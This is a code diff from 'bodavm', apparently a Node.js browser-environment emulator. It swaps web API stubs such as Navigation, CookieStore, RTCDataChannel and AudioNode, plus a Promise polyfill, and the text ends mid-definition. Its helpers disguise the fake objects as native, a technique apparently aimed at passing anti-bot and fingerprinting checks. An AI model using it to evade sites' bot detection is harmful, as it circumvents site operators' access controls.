-bodavm.toolsFunc.defineProperty('Navigation', "back", {configurable:true, enumerable:true, writable:true, value:function back (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "back", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "forward", {configurable:true, enumerable:true, writable:true, value:function forward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "forward", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "navigate", {configurable:true, enumerable:true, writable:true, value:function navigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "navigate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "reload", {configurable:true, enumerable:true, writable:true, value:function reload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "reload", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "traverseTo", {configurable:true, enumerable:true, writable:true, value:function traverseTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "traverseTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "updateCurrentEntry", {configurable:true, enumerable:true, writable:true, value:function updateCurrentEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "updateCurrentEntry", arguments)}},'prototype'); -// navigation对象 -bodavm.memory.globalobj['navigation'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['navigation'].__proto__=bodavm.memory.globalobj['Navigation'].prototype; - -// MediaStream对象 -bodavm.memory.globalobj['MediaStream'] = function MediaStream(){this._boarg= new bodaobj.window.MediaStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStream'], "MediaStream"); -bodavm.memory.globalobj['MediaStream'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaStream'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaStream', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "active", {configurable:true, enumerable:true, get:function active (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "active_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "onaddtrack", {configurable:true, enumerable:true, get:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_get", arguments)}, set:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "onremovetrack", {configurable:true, enumerable:true, get:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_get", arguments)}, set:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "onactive", {configurable:true, enumerable:true, get:function onactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_get", arguments)}, set:function onactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "oninactive", {configurable:true, enumerable:true, get:function oninactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_get", arguments)}, set:function oninactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "addTrack", {configurable:true, enumerable:true, writable:true, value:function addTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "addTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getAudioTracks", {configurable:true, enumerable:true, writable:true, value:function getAudioTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getAudioTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTrackById", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getTracks", {configurable:true, enumerable:true, writable:true, value:function getTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getVideoTracks", {configurable:true, enumerable:true, writable:true, value:function getVideoTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getVideoTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments)}},'prototype'); - -// TrustedTypePolicyFactory对象 -bodavm.memory.globalobj['TrustedTypePolicyFactory'] = function TrustedTypePolicyFactory(){if (!(this instanceof TrustedTypePolicyFactory)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicyFactory'], "TrustedTypePolicyFactory"); -bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TrustedTypePolicyFactory'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyHTML", {configurable:true, enumerable:true, get:function emptyHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyHTML_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyScript", {configurable:true, enumerable:true, get:function emptyScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyScript_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "defaultPolicy", {configurable:true, enumerable:true, get:function defaultPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "defaultPolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "createPolicy", {configurable:true, enumerable:true, writable:true, value:function createPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "createPolicy", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getAttributeType", {configurable:true, enumerable:true, writable:true, value:function getAttributeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getAttributeType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getPropertyType", {configurable:true, enumerable:true, writable:true, value:function getPropertyType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getPropertyType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getTypeMapping", {configurable:true, enumerable:true, writable:true, value:function getTypeMapping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getTypeMapping", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isHTML", {configurable:true, enumerable:true, writable:true, value:function isHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScript", {configurable:true, enumerable:true, writable:true, value:function isScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScript", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScriptURL", {configurable:true, enumerable:true, writable:true, value:function isScriptURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScriptURL", arguments)}},'prototype'); - -// Scheduler对象 -bodavm.memory.globalobj['Scheduler'] = function Scheduler(){if (!(this instanceof Scheduler)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduler'], "Scheduler"); -bodavm.toolsFunc.defineProperty('Scheduler', "postTask", {configurable:true, enumerable:true, writable:true, value:function postTask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduler'].prototype, "Scheduler", "postTask", arguments)}},'prototype'); -// scheduler对象 -bodavm.memory.globalobj['scheduler'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['scheduler'].__proto__=bodavm.memory.globalobj['Scheduler'].prototype; - - -// CookieStore对象 - -bodavm.memory.globalobj['CookieStore'] = function CookieStore(){if (!(this instanceof CookieStore)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStore'], "CookieStore"); - -bodavm.memory.globalobj['CookieStore'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; - -bodavm.memory.globalobj['CookieStore'].__proto__=bodavm.memory.globalobj['EventTarget']; - -bodavm.toolsFunc.defineProperty('CookieStore', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_set", arguments)}},'prototype'); - - - -// cookieStore对象 - -bodavm.memory.globalobj['cookieStore'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['cookieStore'].__proto__=bodavm.memory.globalobj['CookieStore'].prototype; - -// RTCSessionDescription对象 -bodavm.memory.globalobj['RTCSessionDescription'] = function RTCSessionDescription(){this._boarg= new bodaobj.window.RTCSessionDescription();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSessionDescription'], "RTCSessionDescription"); -bodavm.toolsFunc.defineProperty('RTCSessionDescription', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSessionDescription', "sdp", {configurable:true, enumerable:true, get:function sdp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_get", arguments)}, set:function sdp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSessionDescription', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "toJSON", arguments)}},'prototype'); - -// RTCDataChannel对象 -bodavm.memory.globalobj['RTCDataChannel'] = function RTCDataChannel(){if (!(this instanceof RTCDataChannel)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannel'], "RTCDataChannel"); -bodavm.memory.globalobj['RTCDataChannel'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCDataChannel'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCDataChannel', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "ordered", {configurable:true, enumerable:true, get:function ordered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "ordered_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxPacketLifeTime", {configurable:true, enumerable:true, get:function maxPacketLifeTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxPacketLifeTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxRetransmits", {configurable:true, enumerable:true, get:function maxRetransmits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxRetransmits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "negotiated", {configurable:true, enumerable:true, get:function negotiated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "negotiated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmount", {configurable:true, enumerable:true, get:function bufferedAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmountLowThreshold", {configurable:true, enumerable:true, get:function bufferedAmountLowThreshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_get", arguments)}, set:function bufferedAmountLowThreshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onbufferedamountlow", {configurable:true, enumerable:true, get:function onbufferedamountlow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_get", arguments)}, set:function onbufferedamountlow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclosing", {configurable:true, enumerable:true, get:function onclosing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_get", arguments)}, set:function onclosing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "reliable", {configurable:true, enumerable:true, get:function reliable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "reliable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "send", arguments)}},'prototype'); - -// CacheStorage对象 - -bodavm.memory.globalobj['CacheStorage'] = function CacheStorage(){if (!(this instanceof CacheStorage)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CacheStorage'], "CacheStorage"); - -bodavm.toolsFunc.defineProperty('CacheStorage', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "match", {configurable:true, enumerable:true, writable:true, value:function match (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "match", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "open", arguments)}},'prototype'); - - -const PENDING = 'pending'; -const FULFILLED = 'fulfilled'; -const REJECTED = 'rejected'; - -function Promise(executor) { - this.state = PENDING; - this.value = null; - this.reason = null; - this.onFulfilledCallbacks = []; - this.onRejectedCallbacks = []; - - const resolve = (value) => { - if (this.state === PENDING) { - this.state = FULFILLED; - this.value = value; - this.onFulfilledCallbacks.forEach((fun) => { - fun(); - }); - } - }; - - const reject = (reason) => { - if (this.state === PENDING) { - this.state = REJECTED; - this.reason = reason; - this.onRejectedCallbacks.forEach((fun) => { - fun(); - }); - } - }; - - try { - executor(resolve, reject); - } catch (reason) { - reject(reason); - } -} -bodavm.toolsFunc.safeProto(Promise,"Promise"); - - - -//原型上面的方法 -//用settimeout来模拟异步调用,保证链式调用,即then方法中要返回一个新的promise,并将then方法的返回值进行resolve -Promise.prototype.then = function (onFulfilled, onRejected) { - if (typeof onFulfilled != 'function') { - onFulfilled = function (value) { - return value; - }; - } - if (typeof onRejected != 'function') { - onRejected = function (reason) { - throw reason; - }; - } - const promise2 = new Promise((resolve, reject) => { - switch (this.state) { - case FULFILLED: - setTimeout(() => { - try { - const x = onFulfilled(this.value); - resolve(x); - } catch (reason) { - reject(reason); - } - }, 0); - break; - case REJECTED: - setTimeout(() => { - try { - const x = onRejected(this.reason); - resolve(x); - } catch (reason) { - reject(reason); - } - }, 0); - break; - case PENDING: - this.onFulfilledCallbacks.push(() => { - setTimeout(() => { - try { - const x = onFulfilled(this.value); - resolve(x); - } catch (reason) { - reject(reason); - } - }, 0); - }); - this.onRejectedCallbacks.push(() => { - setTimeout(() => { - try { - const x = onRejected(this.reason); - resolve(x); - } catch (reason) { - reject(reason); - } - }, 0); - }); - break; - } - }); - return promise2; -}; -bodavm.toolsFunc.safeFunc(Promise.prototype.then,'then') - -Promise.prototype.catch = function (onRejected) { - return this.then(null, onRejected); -}; -bodavm.toolsFunc.safeFunc(Promise.prototype.catch,'catch') - - -Promise.prototype.finally = function (fn) { - return this.then( - (value) => { - fn(); - return value; - }, - (reason) => { - fn(); - throw reason; - } - ); -}; -bodavm.toolsFunc.safeFunc(Promise.prototype.finally,'finally') - - -//静态方法 -Promise.resolve = function (value) { - return new Promise((resolve, reject) => { - resolve(value); - }); -}; -bodavm.toolsFunc.safeFunc(Promise.resolve,'resolve') - -Promise.reject = function (reason) { - return new Promise((resolve, reject) => { - reject(reason); - }); -}; -bodavm.toolsFunc.safeFunc(Promise.reject,'reject') - -//接受一个promise数组,当所有promise状态resolve后,执行resolve -Promise.all = function (promises) { - return new Promise((resolve, reject) => { - if (promises.length === 0) { - resolve([]); - } else { - let result = []; - let index = 0; - for (let i = 0; i < promises.length; i++) { - promises[i].then( - (data) => { - result[i] = data; - if (++index === promises.length) { - resolve(result); - } - }, - (err) => { - reject(err); - return; - } - ); - } - } - }); -}; -bodavm.toolsFunc.safeFunc(Promise.all,'all') - -//接受一个promise数组,当有一个promise状态resolve后,执行resolve -Promise.race = function (promises) { - return new Promise((resolve, reject) => { - if (promises.length === 0) { - resolve(); - } else { - let index = 0; - for (let i = 0; i < promises.length; i++) { - promises[i].then( - (data) => { - resolve(data); - }, - (err) => { - reject(err); - return; - } - ); - } - } - }); -}; -bodavm.toolsFunc.safeFunc(Promise.race,'race') - -bodavm.toolsFunc.safeFunc(Promise) +// AudioNode对象 + +bodavm.memory.globalobj['AudioNode'] = function AudioNode() { + console.log_copy('AudioNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioNode'], "AudioNode"); +bodavm.memory.globalobj['AudioNode'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AudioNode'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AudioNode', "context", { + configurable: true, + enumerable: true, + get: function context() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "context_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "numberOfInputs", { + configurable: true, + enumerable: true, + get: function numberOfInputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfInputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "numberOfOutputs", { + configurable: true, + enumerable: true, + get: function numberOfOutputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfOutputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "channelCount", { + configurable: true, + enumerable: true, + get: function channelCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_get", arguments); + }, + set: function channelCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "channelCountMode", { + configurable: true, + enumerable: true, + get: function channelCountMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_get", arguments); + }, + set: function channelCountMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "channelInterpretation", { + configurable: true, + enumerable: true, + get: function channelInterpretation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_get", arguments); + }, + set: function channelInterpretation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "connect", { + configurable: true, + enumerable: true, + writable: true, + value: function connect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "connect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, 